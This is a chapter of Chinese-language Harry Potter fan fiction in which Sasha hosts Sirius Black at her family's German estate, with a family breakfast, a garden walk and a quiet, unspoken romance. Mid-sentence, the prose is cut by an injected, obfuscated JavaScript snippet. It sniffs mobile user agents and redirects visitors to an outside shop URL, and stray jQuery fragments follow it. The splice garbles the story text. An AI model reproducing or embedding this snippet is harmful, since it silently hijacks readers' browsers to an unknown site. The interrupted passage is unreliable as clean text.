萨莎是被阳光叫醒的。德国的夏天比英国来得更早，也更慷慨。清晨六点，阳光就已经从窗户倾泻进来，把整个房间染成一片温暖的、近乎透明的金色。她躺在床上，看着天花板上那道被窗框切割出的光斑，听了几分钟窗外的鸟鸣。然后她坐起来，换上一条亚麻色的连衣裙，头发编成了一条松松的辫子，垂在胸前。没有化妆。在德国，在林德纳老宅，她不需要化妆。
她下楼的时候，餐厅里已经坐满了人。不是她母亲一个人——今天是周末，住在附近的亲戚们都来了。她的姨妈，她的舅舅，她的表兄妹们，还有几位她叫不出名字的、远得不能再远的堂亲。长桌上摆满了食物，热气从大盘子里升起来，在晨光中变成一道淡淡的、透明的雾。
萨莎走进餐厅的时候，所有人的目光都转向了她。
“萨莎！”她的表妹安娜——一个十四岁的、金发碧眼的、笑起来有两个酒窝的女孩——从椅子上跳起来，“你瘦了！”
萨莎的嘴角弯了一下。“你每年都说我瘦了。”
“因为你每年都瘦了。”
萨莎在她母亲旁边的椅子上坐下，端起一杯咖啡。她还没有开始喝，就听到楼梯上传来脚步声。她的手指在咖啡杯的杯沿上停了一下。西里斯。
他走下来了。他穿着昨天那件深灰色的毛衣——她父亲的旧衣服，还是有些大，领口垂到锁骨，袖子盖住了半截手指。但他的头发干了，黑发垂在额前，没有系发带，灰色的眼睛在晨光中显得比昨天更浅、更亮。他的脸还是有点瘦，但比昨天好了一些——一顿饱餐和一晚好觉，在他身上起了作用。
餐厅里安静了大约半秒。
然后她的姨妈——一个头发花白、身材圆润、笑声像铃铛一样的女人——开口了：“梅林的胡子，萨莎，这是谁？”
“我的同学，”萨莎说，“西里斯·布莱克。”
“布莱克？”她的舅舅放下了手中的叉子，“英国的布莱克？”
“是的，”西里斯说。他的声音在晨光中显得比昨天更清亮，带着一种布莱克家特有的、低沉而不沉闷的质感，“但我的名字已经从挂毯上烧掉了。”
餐厅里又安静了半秒。然后她的姨妈笑了。“烧掉了？那你现在是自由的了？”
西里斯的嘴角弯了一下。“算是。”
她的表妹安娜从椅子上探出身子，上下打量着西里斯。“你长得真好看，”她说，语气里带着一种十四岁女孩特有的、不加掩饰的坦率，“你是萨莎的男朋友吗？”
萨莎端起咖啡杯，喝了一口。“不是。只是一个关系不错的同学。”
安娜看了她一眼，又看了西里斯一眼，嘴角弯起一个“我不信”的弧度，但没有再问。
萨莎示意赫尔曼把西里斯的椅子放在她的旁边。西里斯走过来，坐下。他的肩膀离她的肩膀大约半英尺。她能闻到他身上的气味——不是昨天那种狗的味道，也不是洗衣液的味道，而是一种更干净的、像是清晨的露水和松木混合的气味。早餐开始了。长桌上摆满了德国式的早餐——各种香肠、火腿、奶酪、煮鸡蛋、面包、果酱、蜂蜜，和一大壶刚煮好的咖啡。萨莎的母亲切了一块黑面包，涂上黄油，放在西里斯的盘子里。
“尝尝，”她说，“德国的面包和英国的不一样。”
西里斯咬了一口。他嚼了嚼，咽下去。“好吃，”他说。不是客气的说法——他的表情是真的觉得好吃。
萨莎笑了一下。她切了一根白香肠，放在他的盘子里。“这是巴伐利亚的白香肠。吃之前要把皮剥掉。蘸这个甜芥末酱。”她做了个示范。西里斯看着她剥香肠皮的动作，然后照做了。他蘸了一点芥末酱，咬了一口，灰色的眼睛亮了一下。
“好吃，”他又说了一遍，这一次的语气里多了一种“我真的没想到德国菜能这么好吃”的真诚。
萨莎的嘴角弯了起来。她低下头，继续吃自己的早餐。她的姨妈从桌子对面探过身来，黑色的眼睛里带着一种“我要八卦”的光。“萨莎，你这个同学是从英国专门来找你的？”
“他在伦敦没地方去，”萨莎说，“我收留他几天。”
“哦，收留，”她的姨妈重复了一遍这个词，嘴角的弧度大得几乎要咧到耳朵根，“收留一个这么帅的男生。”
萨莎没有接话。她端起咖啡杯，又喝了一口。西里斯在旁边安静地吃着香肠，灰色的眼睛看着盘子，耳朵尖有一点红——只是一点点，在晨光中几乎看不出来。早餐在热闹的交谈中结束了。亲戚们陆续离开，餐厅里只剩下萨莎、西里斯和萨莎的母亲。萨莎的母亲站起来，拿起空了的咖啡壶。
“我带西里斯参观一下庄园，”萨莎说。
她母亲看了她一眼，黑色的眼睛里带着一丝犹豫，像是在问她“你确定要带一个布莱克家的人参观林德纳家族的庄园”。但她没有说什么，只是点了一下头，走进了小客厅。
萨莎站起来，转向西里斯。“走吧。”
他们走出老宅的后门，走进花园。
林德纳家族的花园不大，但很老。石头铺成的小径在花圃之间蜿蜒，两侧种满了玫瑰——红的、白的、粉的、黄的，在晨光中开着，花瓣上还挂着露水。花园的尽头是一棵老苹果树，树干粗到两个人都合抱不过来，树枝向四面八方伸展，像一把撑开的、巨大的、绿色的伞。
“这棵树，”萨莎走到苹果树下，伸出手，摸了摸树干，“我八岁的时候骑扫帚从上面飞过去，脚被树枝挂住了。我在上面挂了十分钟，等我妈妈来救我。”
西里斯站在她旁边，抬起头看着那棵树的树冠。阳光从叶子的缝隙里漏下来，在他的脸上投下碎金一样的图案。“你没有自己下来？”
“下不来。扫帚掉在地上了。我挂在树上，像一个被晾在绳子上的床单。”
西里斯的嘴角弯了一下。“你没有哭？”
“没有。哭有什么用？”
西里斯低下头，看着她的侧脸。她的侧脸在晨光中显得比平时更柔和——不是那种“她变漂亮了”的柔和，而是一种更安静的、像是“她回家了，所以她不用再绷着了”的柔和。她的肩膀比在霍格沃茨时低，她的嘴角比在霍格沃茨时弯，她的呼吸比在霍格沃茨时慢。她在这里是放松的。
“你在这里不一样，”西里斯说。
萨莎转过头看着他。“哪里不一样？”
“你的肩膀。比在霍格沃茨低。”
萨莎的嘴角弯了一下。“劳伦斯也说过同样的话。”
西里斯的手指在口袋里微微收紧了。劳伦斯。他嫉妒劳伦斯。不是嫉妒劳伦斯和萨莎的关系——他知道他们只是朋友。而是嫉妒劳伦斯能看到萨莎的另一面。那一面——放松的、温柔的、不需要时刻紧绷着的——他以为只有劳伦斯能看到。但现在他也看到了。在德国。在林德纳家族的花园里。在她八岁时被挂过的那棵老苹果树下。
他们沿着小径继续走。萨莎指着花圃里的每一种花，说出它们的名字——有些是德语，有些是拉丁语，有些是她在霍格沃茨的草药课上学到的、巫师界的叫法。西里斯听着，偶尔问一两个问题，偶尔只是点头。他不需要说太多话。他只需要走在她旁边，听她说话，看她在晨光中发亮的黑色眼睛，看她说话时嘴角自然的弧度。
“西里斯，”萨莎忽然说，“你知道我姓林德纳吧？”
西里斯看着她。“知道。”
“那是我母亲的姓。我随母姓。”
西里斯没有露出惊讶的表情。布莱克家族也有随母姓的传统——为了保住某些快要断绝的纯血支系。但萨莎的情况显然不是那样。
“你父亲不介意？”他问。
萨莎摇了摇头。“他是麻瓜。他在乎的事情和巫师不一样。他不在乎孩子跟谁姓。他只在乎——”她顿了一下，“只在乎孩子过得好不好。”
她蹲下来，拔掉花圃里的一棵杂草，扔到一边，站起来，拍了拍手上的泥土。
“将来我结婚的话，”她说，语气随意得像在说“将来我买房子的话”，“我也会希望我的丈夫和孩子都跟我姓。”
西里斯看着她。灰色的眼睛在晨光中显得比平时更浅、更亮，像被溪水反复冲刷过的鹅卵石，干净、清透、不带一丝杂质。他的心跳快了。不是因为“她真好看”——那太轻了。是因为她说的每一个字都像是在描绘一个他想走进去的画面。
“如果是我的话，”西里斯说，“我会愿意的。”
萨莎转过头看着他。
西里斯的表情是平静的，但他的耳朵尖红了。他看着她的灰色眼睛里有光，不是烛光，不是阳光，而是一种更内在的、像是从某个很深很深的地方涌上来的、他自己都控制不住的光。
萨莎看着他红了的耳朵尖，看着他灰色的眼睛里那种她读不懂的光。她以为他是在说布莱克家的事。因为他痛恨布莱克这个姓氏，痛恨格里莫广场十二号，痛恨那幅被烧出一个黑洞的挂毯。他愿意放弃自己的姓氏，不是因为对方是谁，而是因为那个姓氏本身对他来说就是一种枷锁。她理解。她拍了拍他的肩膀。力度不大，但很稳，像在安慰一个被过去困住了的、需要有人告诉他“你可以走出来”的朋友。
“西里斯，”她说，“你以后也会有自己的家庭的。不是布莱克家的家庭，是你自己的。你可以选你自己的姓氏。选你自己的人。选你自己的——一切。”
西里斯看着她的黑色眼睛。她想安慰他。她以为他在说“我会愿意的”是因为他想逃离布莱克家。她不知道他是想成为她的家人。是“萨莎”这个人的家人。
他没有解释。因为他不知道该怎么解释。他不能在她拍着他的肩膀、用那种温柔的、安慰的、朋友式的语气说“你以后也会有自己的家庭”的时候，突然说“我想和你组成家庭”。他会吓到她。她会觉得他疯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575240|204995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。也许他真的疯了。从伦敦变成一只狗，找了三天，找到她的家，蹲在台阶下面等她出来，跟着她来到德国——这不是正常人会做的事。他知道。他不在乎。
“走吧，”萨莎说，收回手，继续沿着小径往前走，“我带你去看看后面的林子。”
西里斯跟在她身后。他的手插在口袋里，手指摸着那条备用的蓝灰色发带。他的心跳还是快的。他的耳朵还是红的。他的脑子还是乱的。但他在笑。很小的笑，只有他自己能看到。
林子不大，但很密。树木大多是橡树和山毛榉，树干上长满了青苔，树冠在头顶上方交织成一片绿色的穹顶。小径上铺满了落叶，踩上去发出沙沙的声响。阳光从叶子的缝隙里漏下来，在地面上画出一块一块的、金色的光斑。萨莎走在前面，步子不快不慢。她一边走，一边用手拨开低垂的树枝，为西里斯让出一条路。
“这片林子，”她说，“是我小时候和表妹玩捉迷藏的地方。有一次我躲在一棵橡树后面，躲了半个小时，没有人找到我。后来我自己走出来了。安娜说她已经找过我那棵树了，没看到我。我说‘你就从我面前走过去的’。她说‘你穿的绿色衣服，和树叶混在一起了’。”
西里斯笑了一下。不是那种客气的、礼貌的笑，而是一个真正的、被她讲的故事逗乐了的、带着一点“你小时候就这么能藏”的意味的笑。
“你在霍格沃茨也这样，”他说，“在图书馆里。你坐在那个角落，不发出任何声音。有时候我走进图书馆，要找好久才能找到你。”
萨莎停下来，转过身，看着他。“你在图书馆找过我？”
西里斯的手指在口袋里又收紧了一些。“有时候。”
萨莎看着他，看了两秒。然后她转过身，继续往前走。“走吧，前面有一块空地。可以看到整个山谷。”
他们走到林子的尽头。树木突然散开，露出一片小小的、被山毛榉包围的空地。空地的中央是一块平坦的石头，石头上长满了青苔，像一张绿色的、天然的沙发。从空地的边缘往下看，可以看到整个山谷——绿色的田野，白色的教堂，红色的屋顶，和远处地平线上模糊的、蓝色的山脊线。
萨莎在石头上坐下来，双手撑在身后，仰起头，看着天空。天空是蓝色的，很蓝，蓝到像是被谁用魔法洗过一样，没有一丝云。
“西里斯，”她说，“我会帮你置办一些衣服和行李。你在英国的东西应该都没带过来吧？”
西里斯在她旁边坐下来。石头很凉，但他没有动。“没有。我只带了——我身上的。”
“那我明天去镇上给你买。衬衫，裤子，外套。内衣。”她顿了一下，“内衣你自己买。”
西里斯的嘴角弯了一下。“好。”
“还有洗漱用品。还有——你想看书吗？我爸爸的书房里有不少英文书。虽然不是魔法书，但有些小说还不错。”
“好。”
“还有——你有没有什么想吃的？我跟赫尔曼说，让他给你做。”
西里斯转过头，看着她。她的侧脸在阳光下显得比平时更柔和。黑色的头发在辫子中安静地垂在胸前，几缕碎发从耳边散落下来，在微风中轻轻飘动。她看着山谷的方向，嘴角带着一个浅浅的、安静的弧度。
“萨莎，”他说。
“嗯。”
“你不用做这些。”
萨莎转过头，看着他。黑色的眼睛在阳光下显得格外明亮。“什么？”
“帮我买衣服。帮我找书。帮我跟赫尔曼说我想吃什么。”西里斯看着她的黑色眼睛，灰色的眼睛里映着碎金般的阳光，那目光太深了，她一时看不清里面藏着什么。“你收留我已经够了。你不用——照顾我。”
萨莎看着他，看了几秒。然后她伸出手，在他的手臂上轻轻拍了一下——和之前在花园里拍他肩膀一样的力度，不大，但很稳。
“西里斯，”她说，“你在我的家里。你是我的客人。在我的家里，客人不需要说‘你不用做这些’。”她顿了一下。“而且——我想做。”
西里斯看着她。灰色的眼睛里有阳光，有她的倒影，还有一种她读不懂的神情——像是意外，又像是在确认什么，好像在说“你知不知道你在说什么”。
萨莎站起来，拍了拍裙子上的草屑和泥土。“走吧，该回去了。午餐应该快好了。”
西里斯站起来，跟在她身后，走出空地，走进林子，走在小径上。阳光从叶子的缝隙里漏下来，在他的脸上投下碎金一样的图案。他的心跳还是快的。他的耳朵还是红的。但他的嘴角是弯的。因为她说——“我想做。”
他不知道她说的“做”是指帮他买衣服、找书、跟赫尔曼说他想吃什么，还是指——别的什么。他不确定。但他知道的是，他愿意等。等她弄清楚。等她想明白。等她准备好。他有一整个暑假。也许更久。时间在他这边。因为他在她身边。